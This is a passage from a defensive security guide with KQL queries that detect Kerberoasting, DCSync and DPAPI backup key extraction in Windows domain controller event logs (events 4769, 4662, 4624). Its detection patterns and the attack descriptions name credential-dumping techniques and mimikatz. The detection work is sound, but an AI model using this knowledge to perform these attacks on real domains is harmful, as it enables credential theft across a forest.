The average request is 3, but we can see that Alice has requested 12. 

 

  



 

 

 

Since we know that the average amount of requested service ticket is 3. We could baseline our 

environment for example, and if we have done that. We could set a query, where it will look if 

there any users who have requested more than 3 tickets in the average time. 

// T1028 - Kerberoasting 
// Reference: https://attack.mitre.org/techniques/T1208/ 
let timeframe = 1d; 
let requestCountThreshold = 3; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4769 
| parse EventData with * 'TargetUserName">' TargetUserName '</Data>' * 
| parse EventData with * 'IpAddress">' IpAddress '</Data>' *  
| parse EventData with * 'ServiceName">' ServiceName '</Data>' *  
| summarize StartTimeUtc = min(TimeGenerated), EndTimeUtc = max(TimeGenerated), 
AttemptRequest = dcount(ServiceName) by TargetUserName, Activity, IpAddress 
| project StartTimeUtc, EndTimeUtc, TargetUserName, AttemptRequest, Activity, 
IpAddress 
| where AttemptRequest > requestCountThreshold 
| sort by StartTimeUtc desc 

 

 

Now we will only get one return result. This could be a decent approach to catch the OpSec fail-

ures of an attacker. 

 

  



 

 

 

 T1003 – Malicious Directory Replication (DCSync) 
 

DCSync is a variation on credential dumping which can be used to acquire sensitive information 

from a domain controller. Rather than executing recognizable malicious code, the action works 

by abusing the domain controller's application programming interface (API) to simulate the repli-

cation process from a remote domain controller. 

Source: https://attack.mitre.org/techniques/T1003/ 

In October, 2019. An antivirus company in the Czech Republic or primary known as Avast had 

been breached. In an article of ZDNet. It claimed that a Microsoft solution called Advanced 

Threat Analytics detected a ''Malicious Directory Replication'' attack, but the attack was ignored. 

 

 

Source: https://www.zdnet.com/article/avast-says-hackers-breached-internal-network-through-

compromised-vpn-profile/ 

This is how it looks like when someone is executing a DCSync attack. 
 

 
 
DCSync generates an event 4662 & 4624. Where event 4624 is a network logon. 
All the logs are collected from the Domain Controller 
 

 
 
  



 

 

 

A DCSync generates the following two string GUIDs. 
 
{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} 
 

 
 
When we run the following KQL query and filter on both string GUIDs. 
 
// DCSync Detection 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4662 
| where Properties has "{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}" 
    or Properties has "{19195a5b-6da0-11d0-afd3-00c04fd930c9}" 

 

 

If we run this following KQL query. We would receive a lot of noise, which can be frustrating. 
 

 
 
  



 

 

 

If we now run the following KQL query, where we filter on the AccountType column. 
 
// DCSync Detection 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4662 and AccountType == "User" 
| where Properties has "{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}" 
    or Properties has "{19195a5b-6da0-11d0-afd3-00c04fd930c9}" 

 

 
Now we only see three results: 

 

 
 
We know that DCSync generates a Network logon, so we can use the join operator to combine 
event 4662 & 4624 with each other. 
 
Event 4662 contains a column called SubjectLogonId and it has a value. While event 4624 has a 

column called TargetLogonId. What I've notice is when I look at the SubjectLogonId at event 
4662 (DCSync). It has the same value that appears to be in event 4624 (TargetLogonId) 
 

 Example 
If I would run this KQL query.  
 

 
 
I would get the following results: 
 

 
 
  



 

 

 

This means that if I would use the join operator to combine event 4624 & 4662 with each other, 
but rename the TargetLogonId column in event 4624 to ''SubjectLogonId'' – I would get a much 
more accurate result. 
 
Final KQL query: 
 
// DCSync Detection 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4662 and AccountType == "User" 
| where Properties has "{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}" 
    or Properties has "{19195a5b-6da0-11d0-afd3-00c04fd930c9}" 
| project TimeGenerated, Account, Activity, Properties, SubjectLogonId, Computer 
| join ( 
   SecurityEvent 
   | where EventID == 4624 and LogonType == 3 
   | where Activity == "4624 - An account was successfully logged on." 
   | project EventID, LogonType, Activity, TargetLogonId 
   | project-rename SubjectLogonId = TargetLogonId 
) on SubjectLogonId 
| project TimeGenerated, Account, Computer, Activity, Properties, LogonType 
| sort by TimeGenerated desc 

 

 

End result, and as you can see. It only contains one returned result. It is possible to leave out    
AccountType == User, but that could generate small false positives. 
 

 
 
  



 

 

 

 T1003 – Extracting DPAPI Backup Key 
 
A Domain Admin or equivalent is able to extract the DPAPI Backup Key from the Domain Control-
ler, which allows an attacker to use that backup key to decrypt the secrets of every user in the 
forest. 
 
This is how it looks like when we are executing this attack 
 

 
 
Every time when an attacker is extracting the DPAPI Backup Key from the DC. Event 4662 & 4624 
is generated, where event 4624 is a Network Logon (3). 
 

 
 
  



 

 

 

If we start with the following KQL query with a specific filter on the ObjectName column with as 
value ''Policy\\Secrets\\G$BCKUPKEY_PREFERRED" 
 
// Extract DPAPI Backup Key from Domain Controller 
// Reference: https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4662 
| where ObjectName == "Policy\\Secrets\\G$BCKUPKEY_PREFERRED" 

 

 
We will get the correct the returned results, but it is preferred to also look for event 4624 with 

logon type 3. 
 

 
 
Similar to DCSync. We have to change the TargetLogonId column to SubjectLogonId at event 
4624, so we could use the join operator to combine those events together. 
 
This will be our final query: 

 
// Extract DPAPI Backup Key from Domain Controller 
// Reference: https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4662 
| where ObjectName == "Policy\\Secrets\\G$BCKUPKEY_PREFERRED" 
| project TimeGenerated, Account, Computer, Activity, SubjectLogonId, Object-
Name, ObjectType 
| join ( 
   SecurityEvent 
   | where EventID == 4624 and LogonType == 3 
   | project EventID, Account, LogonType, TargetLogonId  
   | project-rename SubjectLogonId = TargetLogonId   
) on SubjectLogonId 
| project TimeGenerated, Account, Computer, Activity, ObjectName, ObjectType, 
LogonType 
| sort by TimeGenerated desc 

 

 
 
 
 
 


